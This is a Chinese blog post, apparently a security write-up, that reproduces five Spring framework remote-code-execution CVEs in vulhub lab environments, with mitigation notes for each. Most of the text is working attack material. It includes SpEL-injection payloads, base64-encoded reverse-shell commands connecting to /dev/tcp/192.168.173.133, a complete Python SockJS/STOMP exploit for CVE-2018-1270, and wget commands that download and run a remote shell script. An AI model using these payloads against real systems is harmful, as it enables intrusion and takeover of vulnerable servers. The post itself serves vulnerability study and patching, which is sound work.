Spring框架漏洞总结

点击上方“小强的进阶之路”,选择“星标”公众号

优质文章,及时送达

cbccbbd2b74ea8cc45a66c58e3dd24b1.png

预计阅读时间: 20分钟

Spring简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

SpEL是什么

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下∶

  1. 表达式:可以认为就是传入的字符串内容

  2. 解析器︰将字符串解析为表达式内容

  3. 上下文:表达式对象执行的环境

  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象

参考链接:http://rui0.cn/archives/1043

Spring框架特征

1.看web应用程序的ico小图标,是一个小绿叶子

7c3625d71b04b0b2e18859d37e9353dd.png

2.看报错页面,如果默认报错页面没有修复,那就是长这样

d7901f2c8fe21f4dd7d6796af744def7.png

3.wappalyzer插件识别

4dda06ad557de6689da85cb31103d93b.png

4.f12看X-Application-Context头

df6525014a896e6ed9408c0180f1c5c6.png

本地环境搭建

安装IDEA

官网下载安装包 :

https://www.jetbrains.com/idea/download/#section=windows

这里选择的商业版,免费试用30天

e1650bb3c75bf11d05f9eda0127da22d.png

9c35e1f1d53a24d78ed6cf9ccfa1efb8.png

安装目录默认

5dc9c1a4a6121fb52bf068d3f6bc94e5.png

报错不用管,点击确认,一直默认下一步

94aae7c7a522fb321a8aa3615c33055a.png

双击下图图标

41c643b56cb2a9428a357502cbadc248.png

f67fb08b58c8da7561acd6d5367e40d9.png

a1f0dd815c2865703b8b059c22311ccb.png

7e8339132ff01cd98e18e287ac5c3588.png

5cb019d01b1174a88f11fe2518315de0.png

78ccfd680e2e9cc270519794c272e12f.png

196a0cb92cac6625988bcffc6d520265.png

选择Download SDK

2aa5d2c56f6f97edef767b6c417d7dfb.png

选择jdk1.8

b663e4a01dff66c22bb060dd96a1dd6d.png

f0cb29f5c7641c35f984f6dcca343880.png

a1e560a8427150079da410a08cf18445.png

点next

691c1063e7cba621e060652c3acdb7fe.png

点击Spring Web

c603dc4d353af6ec18d8693e6934389e.png

等待安装

4ae285ba3a1e927da95a24d4aa95c75a.png

点击右上角启动,可以看见默认端口8080

4797260048a7fce4bbeb1bbf7346d080.png

成功访问,部署成功

c4ec88bead9314582d37a8d0379e14b5.png

这里复现的环境搭建均采用p牛的vulhub靶场环境。

Spring渗透总结

1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)

漏洞简介

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。

影响版本

2.0.0-2.0.9
1.0.0-1.0.5

漏洞验证

启动漏洞

729b475ea959bb223bf8aeea5d3ded09.png

访问url

4e2f49062915018009f92f7dfed99bc5.png

输入下面的漏洞测试url:

http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4

dbe75430ebf59653f3918e716d0ec07b.png

22f522533e7cd374dac9b1954b5d69d4.png

页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。

漏洞复现

这里看一下vulhub提供的poc,poc地址:

https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

099683602d178ec3c136e1e0bec600c5.png

可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。

反弹shell:

对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误,具体可以参考这篇文章:

https://blog.th3wind.xyz/posts/238052750.html)

在线生成有效载荷的网站:

http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

b1055292334f7d3eab819655bf11dd74.png

生成poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

016ba2258799ade26f4ce27966b25001.png

修改后的url:

http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test
http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听端口:

340e77aea5efa8b22ed2b08b67fbdf28.png

执行url,看见如图的显示页面说明已成功执行:

02ac9d0990f9ef3cb2df86bc9635d2b5.png

3ed0c0035bf255d48cc82214b1ba6739.png

反弹shell成功。

安全防护

1.使用1.0.x版本的用户应放弃在认证通过和错误这两个页面中使用Whitelabel这个视图。
2.使用2.0.x版本的用户升级到2.0.10以及更高的版本

因为对java不是很熟,所以没有对底层原理进行分析,但是发现一篇文章分析的还是蛮好的,大家可以看一下:

https://blog.knownsec.com/2016/10/spring-security-oauth-rce/

2.Spring Web Flow框架远程代码执行(CVE-2017-4971)

漏洞简介

Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本

Spring WebFlow 2.4.0 - 2.4.4

触发条件

  1. MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)

  2. flow view对象中设置BinderConfiguration对象为空

漏洞复现

开启漏洞

4b5424a8aa24f7e523af5cee0012b9ee.png

aeb32dc7559229ee94e37620eff1ef9b.png

点击login

805b8093f5e8ae0aeb59531f06fc7668.png

可以看见这里有很多默认的用户名密码,随便选一组登录系统

bd0f710cef6ec8098d6591afdb3503df.png

然后访问id为1的酒店地址:

http://192.168.173.144:8080/hotels/1

f4d0c564e4d0fccd00674edadb54e5be.png

点击预订按钮”Book Hotel”,填写相关信息后点击“ Process”(从这一步,其实WebFlow就正式开始了)︰

338b544989a17f3a046dc1d9436e8ce1.png

随便输入一些内容后,我们点击Proceed然后会跳转到Confirm页面(Credit Card为16位):

d91179a52257e25106da174f37be1ddd.png

点击confirm时进行抓包

244863c5fe62f6c665d0297e8da4f5b0.png

627cc30d1b458c45c4be7a0b942a5896.png

反弹shell的poc:

原POC:
&_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/192.168.173.133/1234 0>&1")).start()=vulhub


URL编码后
&_(new java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.173.133/1234 0>%261")).start()=vulhub

fb5874f142b5322f1f5891fce5de7aef.png

exp扩展

1、向里面写入文件

&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")

23bc8392aeb973ee8c0eec3d2fdd7e31.png

1f21e4c3c697c35edde21de14fc1b4da.png

2、使用wget下载远程bash脚本

&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")

3、执行上一步下载的脚本

&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")

安全防护

官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:

https://pivotal.io/security/cve-2017-4971

对于这个漏洞的底层分析文章,大家可以看看这篇:

https://paper.seebug.org/322/

3.Spring Data Rest远程命令执行命令(CVE-2017-8046)

漏洞简介

Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码。

影响版本

Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3

漏洞验证

开启漏洞环境:

ebb0f1699a2225b37ab744521f038a0e.png

fad59460ee3e4f92b6298e742c0d6709.png

看到 json格式的返回值,说明这是一个 Restful风格的API服务器。

访问如下url,如果有下面回显,则说明存在该漏洞:

http://192.168.173.144:8080/customers/1

a37e7635c76c06802b15bf4c8e5bfc04.png

漏洞复现

bp抓包,并且使用PATCH请求来修改:

95438b03088ceb5277e68dc28df30d0f.png

创建文件touch /tmp/zcc的poc,需要对其进行十进制编码:

",".join(map(str, (map(ord,"touch /tmp/zcc"))))


'116,111,117,99,104,32,47,116,109,112,47,122,99,99'

146e0db7dacde75f1e70f2f28a750929.png

将该编码写入poc,放入请求包,注意json格式的poc上面留一个空行,Content-Type: 为application/json-patch+json

PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 201


[
    { "op": "replace", 
      "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,122,99,99}))/lastname",
      "value": "vulhub" 
    }
]

fb7cc413a764240f52a4b270a8a42f7b.png

成功写入:

36b787e70ec2578ffa2b417214b2fa4b.png

反弹shell的poc,先进行base64编码:

bash -i >& /dev/tcp/192.168.173.1234/8888 0>&1


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}


98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,51,77,121,52,120,77,122,77,118,77,84,73,122,78,67,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

6a43810037371ee0590dff929ca38ce8.png

653c91ef3fcac65a9da04ebd89f6d048.png

写入poc,成功反弹。

安全防护

升级到以下最新版本:
* Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3

对于该漏洞底层原理分析的文章可以参考这一篇:

https://blog.spoock.com/2018/05/22/cve-2017-8046/

4.Spring Messaging远程命令执行突破(CVE-2018-1270)

漏洞简介

spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用StandardEvaluationContext解析,造成命令执行漏洞。

影响版本

Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
已不支持的旧版本仍然受影响

漏洞验证

开启漏洞

d9c1e6812b87024377edd68b7db4811c.png

7e67803f86cf857d612f7c39e02a41c4.png

访问该页面:

http://192.168.173.144:8080/gs-guide-websocket

854e22026b8af03c5b63877e2a1202f9.png

漏洞复现

对反弹shell的命令base64编码:

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1


bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

创建exp.py,自行修改ip和命令语句:

#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json


logging.basicConfig(stream=sys.stdout, level=logging.INFO)


def random_str(length):
    letters = string.ascii_lowercase + string.digits
    return ''.join(random.choice(letters) for c in range(length))


class SockJS(threading.Thread):
    def __init__(self, url, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
        self.daemon = True
        self.session = requests.session()
        self.session.headers = {
            'Referer': url,
            'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
        }
        self.t = int(time.time()*1000)


    def run(self):
        url = f'{self.base}/htmlfile?c=_jp.vulhub'
        response = self.session.get(url, stream=True)
        for line in response.iter_lines():
            time.sleep(0.5)


    def send(self, command, headers, body=''):
        data = [command.upper(), '\n']


        data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))


        data.append('\n\n')
        data.append(body)
        data.append('\x00')
        data = json.dumps([''.join(data)])


        response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
        if response.status_code != 204:
            logging.info(f"send '{command}' data error.")
        else:
            logging.info(f"send '{command}' data success.")


    def __del__(self):
        self.session.close()


sockjs = SockJS('http://192.168.173.144:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)


sockjs.send('connect', {
    'accept-version': '1.1,1.0',
    'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
    'selector': "T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}')",
    'id': 'sub-0',
    'destination': '/topic/greetings'
})


data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
    'content-length': len(data),
    'destination': '/app/hello'
}, data)

abef4bd06ad0678b3004cc84cb13108e.png

0578824d4e9c10409adf8420a640ae7e.png

成功反弹。

安全防护

1.请升级Spring框架到最新版本(5.0.5、4.3.15及以上版本);

2.如果你在用 SpringBoot,请升级到最新版本(2.0.1及以上版本);

对于底层原理进行分析的文章可以参考这一篇:

https://paper.seebug.org/562/

5.Spring Data Commons远程命令执行漏洞(CVE-2018-1273)

漏洞简介

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

影响版本

Spring Data Commons 1.13 – 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 – 2.6.10(Ingalls SR10)
Spring Data Commons 2.0 – 2.0.5 (Kay SR5)
Spring Data REST 3.0 – 3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞验证

启动漏洞

ac820f4ee67e5bb1779bf4160bca7e06.png

1484999aa74d8f2ad10295e5cbee8e4f.png

漏洞复现

访问该url,bp抓包

http://192.168.173.144:8080/users

db089f78550be022128e32d3ba47894c.png

7221618ed22aa58fb118185d350aa666.png

加上poc的请求包如下:

POST /users?page=&size=5 HTTP/1.1
Host: 192.168.173.144:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.173.144:8080
Connection: close
Referer: http://192.168.173.144:8080/users
Cookie: JSESSIONID=F773DEBD35D866E11D6753373652513C
Upgrade-Insecure-Requests: 1


username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

c4fd4e3a48cab7ddc0ec800d7c2f9fd2.png

868b8899c3ff23898024617ae1bf8794.png

成功写入。

反弹shell:

写一个shell.sh文件,开启http服务:

c5214ff37caa14e0c6c50758d31f418b.png

c2a91007733cdea2f30f060e9f6a447a.png

下载执行sh脚本:

/usr/bin/wget -qO /tmp/shell.sh http://192.168.173.131/shell.sh

c7368768cc32b60a0b46b8f5cafc46ff.png

6bc50c97a3b880b422a5b6769de964d2.png

a75e87194509a333a7bcf29a5320e274.png

执行shell.sh

/bin/bash /tmp/shell.sh

662aa15fcd777ee79b0d9ce880097b67.png

成功反弹。

安全防护

  1. 受影响版本的用户应该应用以下缓解措施:

  • 2.0.x用户应该升级到2.0.6

  • 1.13.x用户应该升级到1.13.11

  • 旧版本应升级到受支持的分支

已解决此问题的发布版本包括:

  • Spring Data REST 2.6.11(Ingalls SR11)

  • Spring Data REST 3.0.6(Kay SR6)

  • Spring Boot 1.5.11

  • Spring Boot 2.0.1

  1. 使用Spring Security提供的身份验证和授权,限定特定访问。

对于该漏洞的底层原理分析可以看该文章:https://www.cnblogs.com/hac425/p/9656747.html

End

推荐阅读:

工作中一些原则体会

程序员因接外包坐牢 456 天!两万字长文揭露心酸真实经历

清华大学两名博士生被开除:你不吃学习的苦,就要吃生活的苦

e2d8933047e652bee85878b29673050a.png

明天见(。・ω・。)ノ♡